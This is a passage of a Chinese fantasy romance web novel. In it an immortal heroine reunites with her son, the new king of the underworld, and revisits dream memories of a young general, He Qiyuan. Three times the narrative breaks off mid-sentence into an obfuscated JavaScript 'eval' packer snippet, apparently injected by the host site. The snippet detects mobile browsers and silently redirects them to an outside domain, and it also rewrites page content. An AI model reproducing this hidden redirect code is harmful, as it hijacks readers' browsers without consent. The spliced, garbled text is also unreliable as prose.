众擎易举 “做梦的梦。” 柳砚清的指尖轻点我的眉心,冰凉触感直透灵台。 “你现在,是在梦里。” “我在做梦?这、这是何意?” 他忽地正色,心底翻涌不安。我踉跄后退,后背贴上石壁,寒意透过衣衫,惊起颤栗。 柳砚清袖袍翻飞间,洞外白雾突然剧烈翻涌,骤雨初歇,天朗气清。他向我伸出手:“我带你去见一个人。” “谁?” “赤竹。” 脚下掠过地府血色的山河,忘川河中浮沉的怨魂伸出枯爪,奈何桥头排着长长的鬼影。刀山火海的惨叫声不绝于耳。柳砚清揽着我的腰飞过半空,衣袖为我挡去所有血腥景象。最终降落在一座巍峨的玄色宫殿前,殿前阴气森森,门匾上赫然写着——阎王殿。 我惊讶地打量着四周,目光最后落在柳砚清眸中。 “为何来此?我们不该先寻赤竹吗?” 他抬手拂去我鬓边沾染的阴气,指尖在触到我冰凉的耳垂时顿了顿:“他就在这里。” “阎王殿吗?” 我仰头望着高耸入云的殿宇,飞檐上悬挂的青铜铃无风自动,发出令人毛骨悚然的声响。 “地府之君,非阎王之子或绝世仙骨不可接任。” 柳砚清的话像判官笔落下最后一划,将我最后一丝侥幸也碾得粉碎。 我胆战心惊地僵在原地,神思恍惚半晌。 “地府君主?绝世仙骨?那孩子……赤竹是新任的阎王??” 我不由想起之前在信州,黑无常带走那孩子时说过的话,以及昨日白无常无厘头的言语。 原来那些意味深长的话语,早将真相摊开在我眼前。 我看向身边的柳砚清,然后没骨气地重重叹了口气。气愤太多次,我竟能平淡如水的接受一切了? 眼下能知道那孩子尚且安康地活着,我已足够欣喜。 可是,真的是好事吗…… 双手垂在身侧止不住地发抖,可心里却诡异地平静。就像暴风雨来临前的海面,看似波澜不惊,底下却暗潮汹涌。 黑云压顶,整个阎王殿笼罩在令人窒息的威压中。我深吸一口气,一把抓住柳砚清的手,触到他掌心冰凉的瞬间,突然发现他纹丝未动。 “不进去吗?”我回头看他。 他凝视着殿门,眼底翻涌着我读不懂的情绪:“那里是阎王殿,只有死者才能去。” 我当然知道。那扇玄铁大门后,是生者不可踏足的幽冥之地。 可我仍固执地问:“我们不是有要事吗?” 柳砚清却沉下眸子,他喉结滚动了几下,才轻声道:“我不敢去。” 我挑眉追问:“为何?” 仙人竟会说丧气话?头回见,实属难得。 他没有回答,只是几不可闻地叹了口气,终是顺了我的意:“罢了,走吧。” 就在柳砚清越过我的瞬间,我猛地抡起拳头,结结实实砸在他后背上。本想给他后脑勺来一下的,可惜这人身量太高,我只得退而求其次。 “牵紧我。”我凶巴巴地命令。 他怔了怔,随即失笑:“好。” “不许松手啊。” 他忽然转身,将我冰凉的手指完全包裹在掌心。这一次,是他主动握紧了我。 守在阎王殿前的阴兵涌了上来,将我们围在正中。柳砚清下意识将我护在身后,预期之内的打斗没能上演,阴兵似是知晓我们的身份和来历,跪拜行礼,恭迎我们。 踏入大殿,远处御座上的人脸上有短暂的错愕,但很快恢复平静,向我们走来。 我凑到柳砚清耳边嘀咕:“这真是赤竹?星辰才学会走,这都会跑了?星辰连话都说不直,这都……开始工作了??” 柳砚清轻笑,捏捏我的指尖:“确实是他。” 话音未落,那少年已经三步并作两步冲下玉阶。 “娘亲!” 他奔向我,端庄英气的少年,眉宇间既有柳砚清的清冷,又带着地府之主的威严。我仔仔细细上下打量他,嘴巴逐渐长大。 “你……你已经长那么大了吗……” “孩儿既为仙骨,与寻常百姓的孩子自有不同。” “是……这样吗?” 我下意识看向同为绝世仙骨的柳砚清,感觉透过赤竹窥见了少年时期的他,一个没忍住,嗤笑出声。 在两位仙骨错愕的目光中,此生第一次感受到前所未有的幸福。 “倘若星辰也在,岂不是一家团圆?” 没人回答我的问题,反而露出些许沉重的表情。 赤竹说道:“此处便交予赤竹吧,爹爹……可暂行离开。” 怀揣着不安,我看向身旁的柳砚清。 柳砚清柔声安慰道:“安心。” 修长的手指圈住我的手腕,我顿时明白了他不会走远,和从前一样,于是稍稍点头。 赤竹领我走向大殿一处的茶台,我们席地而跪坐,他熟稔地焚香、洗茶、斟茶。行云流水,惬意自得。 他正替我倒茶,回廊外有侍从阴兵跑来,看了我一眼,凑到赤竹耳边交代了几句后匆忙离开。 如此生分的母子,还头一回见。 “你……赤竹在这儿,过得好吗?” “嗯,娘亲不必担心,每天都有一堆公务忙着处理,充实疲倦但很愉快。” “愉快……吗……” 我摩挲着茶盏边缘,碧绿的茶汤映出自己模糊的倒影。忽然头顶一暖,竟是赤竹伸手拍了拍我的头。这触感让我一时恍惚,忘了眼前的少年曾经在我腹中待过一段短暂的时光……他掌心温度透过发丝传来,好奇妙的感觉。 “天道倾颓,轮回初始。若想找回与亡魂的过往,需回归来路,重走旧路。” 他果真知道我来此的目的。 我反问道:“我与贺祈源的过去吗?” 赤竹点头:“不错。” 他看向大殿左侧,那里有座青铜浑天仪正在自行转动,星轨交错间发出细微的声响。 “今日天色已晚,后殿有客房,娘亲且在此处歇息,明日孩儿再带娘亲去个地方。” “好……” 与赤竹道别后,阴兵领着我去到后殿,交代完一切后欠身离去。 一切都如此平常与普通,莫名地,我的心却鼓动得飞快,不安好像快撑破胸口。 “忽然想吐……” 地府不分白昼黑夜,却在时辰到来时产生困意。躺在床榻上胃翻滚得难受,干呕几次,只吐出些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赤竹刻意踩着爹爹的影子边玩儿边往前走,忽然仰起脸问道:“爹爹知道娘亲与这位故人间发生过什么吗?” 柳砚清脚步未停:“或多或少了解一些。” 赤竹突然加速绕到爹爹面前,倒着走路又问:“孩儿想问的是,娘亲宁肯赴死也要救下他,是出于情爱,还是别的?” 柳砚清不知从何处掏出折扇,轻轻敲了下赤竹的头。 “小小年纪问的什么话。” 赤竹憋着嘴捂着头哭诉:“呜——爹爹打我!” 奈何桥畔,血雾弥漫的河岸旁,亡魂排成长列,木然地接过孟婆递来的汤碗。汤面泛着幽幽青光,映出一张张即将忘却前尘的面孔。 远处传来孟婆沙哑的吆喝:“饮尽前尘,方入轮回——” 父子俩站在不远处的枯树下凝望。那枯树虬枝盘曲,枝干上挂着几盏引魂灯,在血雾中发出微弱的光芒。忽然,柳砚清感到指尖被一双冰凉的小手紧紧抓住。他低下头,看见赤竹那张哭兮兮的小脸。孩童小小的身躯微微颤抖着,正拼命埋着头,不想让爹爹发现他偷偷掉落的泪珠。 “爹爹……能不能,别让娘亲忘记我?” 110. 万古遗怨 【入卿梦也】 四周空旷豁然。 雨后初晴,湖面水光潋滟生辉,岸上柳枝葳蕤,扫过湖面。 身旁倏地跑过一少年,难掩兴奋地奔向远处的爬杆。 粗木杆上还挂着雨珠,少年却毫不在意。 他纵身一跃,双臂如钳般牢牢抱住木杆,双腿交错着向上攀爬,灵活得似林间猿猴。 转眼间,他已坐在杆顶,发梢在阳光下闪着细碎的金光。 我不可思议地静静观望,甚至想为他献上掌声。这般矫健身手,倒像是人间画本里走出来的少年侠客。 少年翻身跃下时,恰与我四目相对。脸颊瞬间涨红,斟酌良久措辞后,只道出个“姐姐你……真漂亮”。 我抿唇轻笑。 想说“若按年岁,你该唤我声姨”,可我说不出话,喉间似被什么堵住。 少年却突然眼睛一亮,拽着我的袖角就往湖边凉亭跑,翻开石桌上的画集递给我看。 “姐姐你看!我画的梅花,觉得如何?不过笔触生疏,近来光顾着军营的训练,画得不够精细。” 我欣赏着画集中形态各异、栩栩如生的墨梅,若非发不出声,只怕凉亭内全是我哇呜哇呜的惊叹。 少年以手支颐,饶有兴趣地看着我。 翻页时手肘不小心碰掉了桌上的笔杆,我弯下腰去捡,再次起身,自己已不在湖岸边。 落日斜阳,鼻尖萦绕花香,手背感触到花瓣缱绻。 眼前又浮现出那个少年的脸,少年与我躺在一起,笑盈盈地看着我。 “你喜欢花吗?等战争平息家国安定,你我结为夫妻,在我们的院子里给你栽满人世间所有的花。这样无论春夏秋冬,总有花开,你无论何时归来都能瞥见。” 少年在空中比划着院落的陈设,西南角种什么,东北角又种什么。我依旧说不出话,静静地看着他。 “你说,我们的家该安在山林里,还是海边好呢?海边吧,这样你想家的时候,跨越大海便能抵达。离京都是远了些,不过我善骑马,不成问题。” 我依然沉默,只听见自己的心跳声混着他的话语。 他忽然笑着握住我的手,温热的触感从掌心一直蔓延到心底。 “姐姐果真是天上的仙,那么美……” 少年转过身,指尖轻轻将我散落的发丝别到耳后。看着他唇边的笑意,我也不自觉地跟着扬起嘴角。 花影婆娑中,我们相对无言。 忽然一阵风起,漫天白花飞舞。四周的景象开始碎裂,像被打碎的镜面。 我终于能开口说话:“你……是谁?” 无论如何,我都想要揭开这个谜底。 他像是长在我心上的藤,哪怕被连根拔起,也会在某个不经意的夜晚,重新缠绕进我的梦境。 少年没有回答。他的身影渐渐化作点点星芒,在黑暗中闪烁,消散。最后留在记忆里的,还是他温柔的笑。 我睁开眼睛,枕边似乎还残留着淡淡的花香,却触碰到一手濡湿。 按照约定,我先行一步去到阎王殿后的凉亭中。 梦中的景象还在脑海挥之不去,我一路慢悠悠地走,直到看到眼前飘落一缕与众不同的白,我才停下脚步。 “地府居然有花?” 参天古木撑开如云华盖,枝头缀满莹白的花朵。这在地府猩红的天幕下显得格外突兀,却又莫名和谐。地府的阴风掠过,吹拂来白色的花瓣。 凉亭外驻立的仙鹤突然引颈长鸣,清越的鹤唳惊起满树琼花。 我伸手接住一片飘落的花瓣,发现它竟在掌心化作一滴清露。 仙鹤琉璃般的眼珠转向我,我们隔着一场花雨静静对视,它眼中倒映着我苍白的面容。 地府不该出现仙界的神兽,除非……彼此默然不语,却又心照不宣。 半晌后,赤竹从另一方走来,看见我,他微微笑了起来,端正体态向我颔首。 “娘亲。” 我猜他是不知如何与我相处。虽是娘亲,但我们毕竟初见,且隔着一层无法轻易穿透的结界。 只有做娘亲的主动些了。 于是我半眯起眼,让笑意自然漾开,学着娘亲的模样冲我自己的孩子施展温柔笑意。 “早啊赤竹,昨晚睡得好吗?” 赤竹愣了一瞬,随即弯起眉眼,扬起爽朗阳光的笑。 “嗯!睡得可香了,娘亲呢?” “我也是。” 我一时间有些恍惚,眼前的少年与昨日坐于阎王殿上的人毫无关系。那是绝世仙骨,小小年纪便有了地府君主的风骨。 而此刻,是我血浓于水的亲骨肉,换算成凡人的年纪,还只是三岁的孩子。 思绪中,我又想起了信州牢狱中,黑无常将他从我腹中剥离时的画面,胃又是一阵翻转。 那时……他知道娘亲是迫不得已吗?无数个自责的夜,想起他便内疚神明,他会知道吗? 我不禁想摸摸他,抱抱他,弥补一切。 可当我想伸出手时,才发现自己的双手双脚发颤到无法自控。 赤竹站在我身侧,望向凉亭外的仙鹤,开口道:“最后一场梦,就由赤竹送娘亲去吧。” “最后一场……砚清说过,若一段情为一曲歌,此事该名为‘九歌一梦’……因为贺祈源如今不在人世,要忆起他,只能靠梦境,对吗?” “嗯,正如娘亲所言。” 那为何从前与他有关的梦境统统被爹爹消除?总要回忆起贺祈源,我自身的记忆才能够恢复……是牵扯到起死回生吗? 第二次救回贺祈源,是柳砚清背着爹爹与地府做的交易,爹爹又如何知晓? 抑或是我轻易断定爹爹一无所知,其实他老人家比谁都清楚? 也是,毕竟为大仙,这等小辈的伎俩如何逃过他的慧眼。 我陷入沉思,赤竹只是看着我,忽地轻笑。 “娘亲和爹爹果然很像,尤其是思及某事发愣的神情。” 我回神,他又望向无尽的黑夜,喃喃道:“星辰会和我相像吗?真想见见她。” “像。”我答道,“尤其是眉眼,与你们爹爹毫无二致。” 赤竹龇牙笑了笑。稚嫩的小手牵住我,眼角忽然泛起泪花,眉眼依旧笑着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不料阿婆真信了我的话,当真放下警惕心,菜刀也咣当落地,颤巍巍抓住我的衣袖:“真是……真是神仙显灵啊……老天保佑,老天保佑!” 我搀扶着阿婆起身,端来椅子和水递给她。 “外面到底什么情况?您为何惧怕东凉人?” “那群畜生!趁着三将军不在营中,半夜袭击我们村!当时我正在地窖里酿酒,出来就发现大家都不见了……屋子里到处是血迹,还有东凉人遗留的令牌。” 她将捡到的令牌交给我,繁复的图腾上似乎画了只雄鹰。 阿婆继而解释:“东凉人崇拜猎鹰,这图腾一看便知。” 我似懂非懂地点头附和:“原来如此。” 她突然重重跪地,我吓得赶紧去抚,阿婆仍跪地不起,哭喊着哀求:“仙子,求求您!去京都找一个人,只有他能挽救这一切。” 我茫然不知:“啊?谁啊?” “贺家三将军,贺祈源。” 111. 祈离源殇 关外到京都光是马车都要大半月,替阿婆打点好一切,确保她安全后我轻挥羽带,顷刻间来到赵国皇城所在的京都府。 “哇……” 我好一副没见过世面的样子,走在大街上左望望右看看。 到底是天子脚下,街上行人摩肩接踵,公子小姐各个华美。车马川流不息,我不得不频频避让。 “停车!” 忽然,一辆华贵的马车内传来清脆的喝止。车夫急忙勒马,随行侍女小跑上前:“公主有何吩咐?” 车帘微掀,露出一双明眸。那目光穿过熙攘人群,直直落在我身上。 “仙子!” 一道清亮的女声传来。我转头望去,只见一辆华贵的马车停在路边,车帘被一只纤纤玉手掀起,露出一张明媚的脸庞。 这位姑娘,我好像曾经见过。 她侧身对身旁的侍女低语几句,那侍女立即向我走来,恭敬地福身道:“清漪公主请仙子上马车一叙。” “清漪公主?” 我有些诧异。为何公主会出现在大街上,古往今来历朝历代的公主不都身居幽宫,从不抛头露面吗? 刚踏上马车,雍容华贵的少女便惊喜地拉住我的手,语气里满是感动:“仙子!你逃出来了!你真的逃出来了!” 我怔了怔,垂眸浅笑:“嗯……逃出来了,多谢公主挂念。” “太好了!我四处想得到你的消息,奈何不知仙子名号,更不知该如何打听……”她攥着我的手不肯放,眼中闪着真挚的喜悦和泪光,“这些日子我日夜担惊受怕,生怕仙子遭遇不测。拓跋枭没把仙子怎么样吧?可有哪里受伤?难得在京都相遇,让我好好招待仙子吧。” 热情似火,有些招架不住。 “多谢公主美意,只是……”我小心藏起局促不安,“眼下我还有要事在身,改日吧。” 她的笑容黯淡了几分,但仍坚持道:“那仙子若是在城中遇到什么难处,一定要来找我!救命之恩,务必让我报答!” “嗯,我记下了。” 突然,她眼睛一亮:“对了!你想见风儿吗?” “风儿?韩风?” “嗯!她今日没随我出宫。仙子若想见她,改日我带她来见你。” “那待我办完要事,再来叨扰公主。” 清漪公主连连摆手说道:“说什么叨扰!你是我的救命恩人,我都不知道该如何报答。又不敢向父皇说明讨赏,怕他责罚……”说着,她不好意思地低下头,“也只能尽我所能,尽绵薄之力了。” 我看着她诚挚的模样,郑重颔首道谢:“多谢清漪公主。” 清漪公主愣了一下,然后轻轻笑了,露出微妙的表情,说道:“感觉仙子……今日有些许不一样呢。” 我疑惑:“公主何出此言?” 清漪公主沉吟片刻,说道:“仙子别介意我的话啊,之前的仙子……凶巴巴的。但我知道,那是为了我好。那句话,彻底骂醒了我。身为公主,确实不该为所欲为,只顾儿女情长,应以家国为重。” 她露出深刻反省的表情,我倒显得呆滞,只晓得点头附和。 “就当公主在夸我了,多谢。” “此番贺郎回京正是为了我二人的婚事。若是当初留在东凉,恐怕……” 我似懂非懂地又点头。 马车在宫墙外一处僻静的角落缓缓停下。 我跳下马车,与清漪公主挥手告别后,茫然地杵在原地发愣半晌。 “清漪公主……风儿……东凉……” 我无意识地用指尖轻叩太阳穴,试图从混沌的记忆中打捞线索。 “好像是有这么一回事。” 记忆模模糊糊,能判定公主说的确有其事,却记不清何时何地,更记不清来龙去脉。 我抬手捏着下巴,静下心来思索。 “好像是从什么地方逃跑至边关的……一个,很盛大的地方,红绸挂满,喜字张贴……” 声音渐弱,朦胧的画面在脑海中逐渐成型。 “颜卿……我好像是从与颜卿的婚礼上逃跑的。” 思及那张清隽的脸,我沉下眸子,心口绞痛。 他此时应该很恨我吧。要写封信去道歉吗?可又如何说明?直言我心早有所属,无法真心实意地嫁给他? 更荒谬吧。 我对着天长叹了口气,望着飞鸟掠过。 “颜卿,砚清……该不会真是同一人吧?被爹爹派来断了我风流情路的?”我冷冷嗤笑了声,“真亏我想得出来。” 走上正大街,我回归到此行最主要的任务上——寻找那个叫贺祈源的人。既是将军,应当住在将军府吧?可沿着正大街走走绕绕一大圈,没见到什么将军府呢? 说来方才清漪公主提到了贺郎,莫非是我要找的贺祈源的兄弟?早知道问一问了,免得我跟无头苍蝇似的四处乱跑,白费腿脚。 泄气抱怨时,耳边响起嘈杂。 “听说少将军回京了!刚到城门口!” “真的假的!快去看看!” “走走走!” 身旁突然跑过一群人,嘴里说着什么。我看着跑远的人,心生好奇,不自觉跟着他们离开的方向走去。 越往那边人,人越来越多。隐约听见远处传来骏马嘶鸣声,人潮顿时骚动,我被推搡着来到了热闹的中心。 人群中央似乎有什么表情,隔着层层叠叠的人影,我瞥见一抹身影在舞动。 街头卖艺吗?有意思! “让我也看看呐……” 人影重重,矮小的我奋力踮起脚尖,好不容易看清了人影。 英姿飒爽的少年被围在中央,手握长刀,每一次出剑都铿锵有力,有飒飒风声掠过。 他反手挽了个剑花,衣袂翻飞间已挑落三片梧桐叶,收剑时连气息都不乱,这般潇洒自如的身手,惹得围观群众们轰然叫好。 “少将军太帅了!” 站在身旁之人忽然喊出一句引起我的注意。 “少将军?”我不禁问道。 他诧异地看过来,稍微拔高音调反问:“你居然不认识我们少将军?!” 我眨了眨眼,心想这人很出名吗?我不认识倒像什么惊天骇闻? 他指着站在人群中频频道谢的少年说:“咱们贺家少将军,贺祈源!京都谁人不知,谁人不晓!” 我就不知晓。话说他也叫贺祈源,与我要找的人同名同姓? “姑娘是外地人吧?” “嗯。” “那怪不得姑娘。” 意思是如若是我本地人,不认识贺祈源还成罪过咯? 旁人继续骄傲地说道:“我们少爷刚正不阿、才高八斗,适闻京都哪家姑娘不想加入贺府,做少夫人的?!” 我摆出副不相信的表情质问:“有那么夸张吗。” 他两手一插腰间:“嘿,姑娘别不信!就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056824|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连清漪公主都心悦我们将军多年。要不是带兵打仗,我们少爷早就成驸马爷了!” 我顿时回过了神。贺郎?少将军? “将军?少爷?莫非,他就是要我找的贺祈源?!” 身边的人摆摆手劝道:“找我们少爷的人多得去了,少爷一般都拒之门外,姑娘还是放弃吧。” 那怎么行!人命关天,我还得催促他赶紧回边关干正事呢! 我想挤到前面去,仔细看看那个贺祈源是不是我要找的贺祈源,告知他要事。奈何堵得水泄不通,我不仅无法靠近他,只能夹在人群中看着他骑上骏马潇洒离去。 “别走啊!你走了我又去哪儿找你啊!” 我无力地垂头丧气,周围的人潮跟着他流走。我抓了抓脑袋,郁闷得打算先找个酒楼填饱肚子了再去寻他。 行至城中,一座气势恢宏的府邸蓦然闯入视线。朱漆大门高耸,在阳光下熠熠生辉,我不由驻足惊叹:“这门……比蓬莱第几宫的门还高些吧?” 正出神间,一匹骏马疾驰而过,又猛地勒停在我跟前。我慌忙退到路边,生怕被当成叫花子驱赶。 马上之人翻身而下,将缰绳抛给迎上来的仆从。我好奇地侧目望去,却在看清那人面容时浑身一震。 是贺祈源! 踏破铁鞋无觅处,我心头狂喜,刚要上前,却被门前侍卫横戟拦住:“站住!何人擅闯将军府?” 我急指向那道即将消失的背影,“我找他!” 侍卫冷笑道:“每日来攀附将军的人多了,姑娘请回吧。” “我不是闲杂人等,我有要事找将军!” “有事找知县,将军不管这些,快走吧。” “欸!我真的有事!” 这番动静引来个管事模样的男子,他斜睨着我,问那侍卫:“谁啊?” 侍卫撇嘴:“又是个来打秋风的。” “我不是——” “行了。每天都有人来,将军就是太好心,才纵容了你们这些人。”总管不耐烦地打断,从袖中甩出一张银票,“走吧,当将军帮过你了,以后别来了。” 然后,大门在我眼前被关上。 还真被当叫花子撵走了…… 大门不行,翻墙总可以吧! 但想想我堂堂南风仙子要见个凡人竟沦落到翻墙私闯名宅的地步,被说出去又要当成笑柄供那群无聊的神仙打趣。 站在贺府侧边的小巷内,确定没人看到我后,我噔噔噔走上墙头,纵身一跃,轻巧地落在院内。院中花木扶疏,远处传来仆役的脚步声。我闭目凝神,神识如涟漪般扩散。 他推开门,进屋了…… 睁开眼,我如一阵风般穿过回廊。就在他拿起案上卷轴的刹那,我猛地推门而入。 见不速之客从门外冲入,正好拿起一幅卷轴的贺祈源脸上有短暂的错愕,但很快恢复平静,一副习以为常的样子,转身向我颔首行礼。 想不到还是个有礼貌的少年。 “敢问,是贺祈源将军吗?” “正是,姑娘找我何事?” “我从关外来,前夜东凉偷袭,一村子惨遭毒手,是剩下一老妪,还请将军随我前去救援!” “前夜??”贺祈源眉头一皱,“姑娘没记错吗?” “千真万确!就是前夜发生的事。” “可两日时间……姑娘如何从关外抵达京都的?” 啊,说漏嘴了。 112. 灯半昏时 “我说我是神仙,你信吗?” 信了,那便信罢。不信,我也没办法。 贺祈源懒懒地抬起了下巴,眼神倒真挚,分辨不出他是在看笑话还是真信了我。 “我信。” 片刻后,贺祈源斩钉截铁地答道。 “啊?”弄懵的人成了我,“为何?” 莫非我仙气泄露,连凡夫俗子都能察觉到了?! “因为……” 他忽然涨红了脸,挠了挠红润的鼻头,眼神飘忽小声道:“因为姐姐……生得好看。” 春风拂过,卷起几片落花,气氛一时尴尬得仅能听见彼此的呼吸声,以及胸腔格外清晰的鼓动。 我忙不迭轻咳后转移话头。 “所以少将军为何在大街上挥刀舞剑的?卖艺吗?” 他急急反驳道:“不是!百姓围着不让我走,非要看我挥刀的样子,无奈之举。” “确实挺帅气的。少将军习武多少年了?” “贺家世代从军,自小我便跟着两位哥哥出入军营。” 见我挑眉,摆出饶有兴趣的模样,贺祈源瞬间来了兴致,非拉着我好好摆谈一番。 他滔滔不绝地讲述着,眼睛亮亮的,在日光下显出好看的光斑。我仿佛也看见了曾经少年的模样,万军之中闪烁着耀眼的光芒。 我们仿佛并非初识,而是久别重逢。 “光顾着说我,姐姐呢?也跟我讲讲吧,我还是第一次遇见神仙。” “我……没什么好讲的,在蓬莱仙岛待了三千年,从未离开过。” “三千年啊……”贺祈源不知不觉皱起眉头,望向窗外,“凡人都轮回好多次了。” 我追随他的视线,瞥见庭院的海棠。 “也挺好的。挨过漫长岁月,遇见了像你这般好心的人。” 茶香氤氲间,贺祈源脸颊上的红晕尚未消褪。我抿着茶汤,目不斜视悄却无声息地盯着他。 “对了,姐姐不是京都人,可寻到住处?”他突然抬头,目光灼灼。 我收回视线,搁下仅喝一口的茶盏,说道:“城中客栈无数,随便寻一处住下。” “何不……何不在贺府住上几日?待我将京中事物妥善安排完毕后,我们一同出发。” “不太好吧。” 贺祈源拍着胸脯信誓旦旦道:“没关系的!大哥二哥尚在前线,家中我说了算!” 说罢,他站起身诚邀带我在贺府转转,顺道找来管事替我安排住处。 管事啊……不会是方才门外将我视为要钱的那人吧…… “姐姐不爱喝茶吗?”贺祈源不着痕迹地随口问道。 我面露不解:“挺喜欢的,怎么了?” 他含笑摇头道:“没什么。” 是被他发现那茶只喝了一口吗?我在心中暗叹。抱歉啊少将军,我喝不惯这等加了蜜饯的香茶,向来只饮洱茶那般的苦茗。 走出室外,行至回廊时,贺祈源忽然驻足。 “忘了样东西,姐姐在这儿等我一下。” “好。” 见他身影远去,我四下张望,怕他回来寻不见人,便倚着廊柱静候。 “嘿!钱都给你了还敢放肆闯进来?!” 竟是方才那个管事!说啥来啥! 我吓得转身要走,管事立刻冲上来挡在我跟前,转哪儿挡哪儿,死死拦住我的去路。 “您误会了!我——” “出去!若不是看在你是女流之辈,早差人将你押送官府了!” 我被拽过去,被半拖着,欲要将我扔出门外的架势。 听见外面动静,刚折返回屋的贺祈源赶忙跑出来查看。我连忙眼神示意他求救,望他替我解释。他也热心有求必应,上前一步凛冽的眼神制止管事,半个身子护在我身前,挡去一半审视的目光。 “她——” 他话到嘴边却忽然转向我,眼中冰霜尽化,温声问道:“还不知姑娘姓名?” “南风。” 话脱口而出,竟忘了掩盖身份,该以假名糊弄。 贺祈源颔首正色看向管事说道:“这位南风姑娘是我在边关故交,日后便住在府上。娄苶,去叫他们收拾间屋子出来。” 娄苶面露难色:“这……” 贺祈源眼风一扫:“有什么问题吗?” 娄苶立刻躬身:“没有,属下这就去办。” 他挡在我身前,待娄苶走远后转过身来,目光不经意掠过我被扯乱的衣襟,手指微动似要帮忙,却又猛地攥紧垂落,耳尖泛红地别过脸去。 “衣领……有些松了。” 我低头一看,手忙脚乱地拢好衣襟。 “多谢……” 暧昧弥漫,心好像鼓动得比方才还厉害。 “南风……姑娘应该比我年长些吧?” 想说何止几岁,大了几千年岁了。 这话在舌尖转了一圈,终究只是轻轻点头。喉咙像是被什么堵住,半个字也挤不出来。 贺祈源却展颜一笑:“那我便叫你南风姐姐吧,姑娘姑娘的,怪生分的。” 我抿了抿唇:“也行。” 贺府的书房深藏在五进院落的第三重庭院。推开雕花木门的刹那,一缕墨香混着檀木气息扑面而来。左侧窗前立着一张紫檀书案,我轻步走近,指尖挑起案上宣纸,是幅未竟的墨梅图,枝干遒劲处墨迹犹新。 转头望向右侧,但见窗外一树海棠斜倚,粉白花瓣随风卷入,正落在书架边的七弦琴上。这书房陈设极雅,除了满架典籍,更陈列着前朝孤本、云子棋盘,处处透着主人风雅。 “想不到少将军琴棋书画样样精通?” 他闻言眼底倏然亮起,竟像个得了夸奖的少年郎:“在边关这些年,弓马娴熟,这些倒生疏了。” 手指似逢久别重逢之物抚过琴弦带出一声清响。 “年少时还想过弃武从文,被大哥当头棒喝——‘将门之子岂能不思报国?!’” 见我抿唇轻笑,他又道:“不过平日除去操练,大哥倒从不拘着我们。” 窗外海棠的枝影在他眉宇间轻轻摇曳,斑驳的光影为他英挺的轮廓添了几分柔和。我望着翩翩少年不禁入了神,莞尔道:“少将军可有什么想要的?想谢你收留之恩。以及……方才的解围。” “姑娘言重了,举手之劳。” “机不可失哦,我可不常开这个口,错过了可就没下回了。” “如此……” 贺祈源蹙眉作苦思状,我闲闲踱步,欣赏起他挂在墙上的画轴来。 约莫一盏茶的工夫,他忽然眼睛一亮。 “还真有!” “什么?” “仙人图。” “仙……啊?” “不必是什么仙家手笔,只要是画着仙人的寻常画作就好。” “……就这?没了?” “嗯!” “成,包在我身上!” 趁着贺祈源专心作画的空档,我悄悄溜出贺府,在街市上 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我小心翼翼地握住柳砚清的手,不由自主闭上眼睛,压着颤抖的唇小声嘟囔:“我是去寻你啊……除了你让我煞费苦心一顿好找,还能有谁……” 我对上他的眼睛,从他的眼眸中看到了仿佛难以置信的震撼。 “那日我分明跟着司南走,偏生那该死的仪器出了问题,小心掉在信州山中。寻你不成,反倒……” 之后的事,我无法解释。 颜卿与你长相相似,宛若女娲娘娘照着我心仪的人雕刻而出……这样的话,我怎么说得出口? 相继沉没,柳砚清反手盖住我的手。 “那又为何逃婚?” “因为他不是你。”我收回手,垂下头,“成亲那日,我想起了你……想起了我为何在凡间。与其让颜卿恨我,我也不想背叛自己的心意。” “……骗子。” “我没有骗你!句句属实!” 我急得眼眶发热,撞进他依旧冰冷的眸光。 “可你后来,还是嫁给了他。” “颜卿吗?” “不,是贺祈源。” 我愕然歪头:“我与他不过初识,怎会嫁给他?” “我说的将来。” “将来?以后的事……你怎会知晓?” “我可是仙人呐。” “我也是啊。” “南风仙子素来不学无术,整日里招蜂引蝶,何时学了预知未来的法术?” 他似笑非笑地挑眉。 我讪讪地摸了摸鼻子,“那倒也是……” 冷若寒冰的手指擦过我的脸颊,蹭去水痕,又捏了捏那团肉。我在他掌轮处蹭蹭,瞥见巷子外头偏移的光影。 “时候不早,我得回去了。你——” 我无奈自嘲似的轻笑声,微蹙眉看着柳砚清。 “‘一枕清风梦绿萝,人间随处是南柯。’横竖你不过是我相思成疾的幻影,待会儿自会消散罢。” 抬手抚向那虚幻的面容,指尖触及的瞬间,柳砚清的影像如水波般荡漾开来。唯有那双眸子,依旧灼灼地凝视着我,直到涟漪散尽。 我扶着墙缓缓起身,将画轴拢在袖中,略整理一番仪容后转身离去。 身后之人发丝轻扬,眉眼间噙着若有似无的笑意。 “傻姑娘。” 113. 月半明时 我抱着卷轴从后门溜进贺府,远远的看见两个陌生服饰的背影。 京都城中大多穿着精致,那两人……有种从偏远荒漠地区来的风尘感。 这绝非府中之人,怎敢如此明目张胆地四处走动?我蹑手蹑脚跟了上去,却见他们似乎在搜寻什么。更诡异的是,路过的侍女竟对他们视若无睹,径自穿过他们身旁。 难道……只有我能看见他们? 我屏住呼吸尾随其后。两人似乎起了争执,随后那姑娘带着同伴朝贺祈源的书房方向走去。我连忙绕到偏厅,借着雕花窗棂偷望—— “那个人……是我?!” 